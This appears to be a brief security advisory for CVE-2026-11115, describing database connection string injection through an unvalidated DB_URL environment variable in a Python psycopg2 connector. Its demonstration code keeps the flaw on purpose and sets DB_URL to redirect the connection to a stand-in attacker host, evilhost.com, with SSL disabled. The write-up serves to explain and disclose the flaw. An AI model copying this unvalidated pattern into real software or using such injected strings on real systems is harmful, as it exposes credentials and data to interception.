CVE-2026-11115 – Database Connection String Injection via Env Variable

Program Code (Python)

# db_connector.py - Constructs DB connection string from environment
import os, psycopg2

def connect():
    # Reads DB_URL; attacker can override via environment injection if they control an env var
    db_url = os.getenv('DB_URL', 'postgresql://user:pass@localhost/db')
    # Vulnerability: no validation; allows extra parameters like ?application_name=... but also SSRF or auth bypass
    conn = psycopg2.connect(db_url)
    return conn

# Simulate an attacker who can set environment variable:
os.environ['DB_URL'] = "postgresql://user:pass@localhost/db?host=evilhost.com&sslmode=disable"
c = connect()  # Connects to attacker-controlled host!
print("Connected to attacker DB.")

CVE-2026-11115 – Database Connection String Injection

Overview

An application builds its database connection string from an environment variable without validation. If an attacker can influence that variable (e.g., via a server‑side request forgery or CI/CD pipeline misconfiguration), they can redirect the database connection to their own server, intercepting or modifying data.

Vulnerability Details

• Type: Connection String Injection
• Impact: Data exfiltration, man‑in‑the‑middle.
• Root Cause: The full connection URI is taken from an environment variable, and extra parameters (like host) can be appended to override the original host.

Exploit Demonstration

Run the simulation:

pip install psycopg2-binary
python db_connector.py

The program attempts to connect to evilhost.com instead of localhost.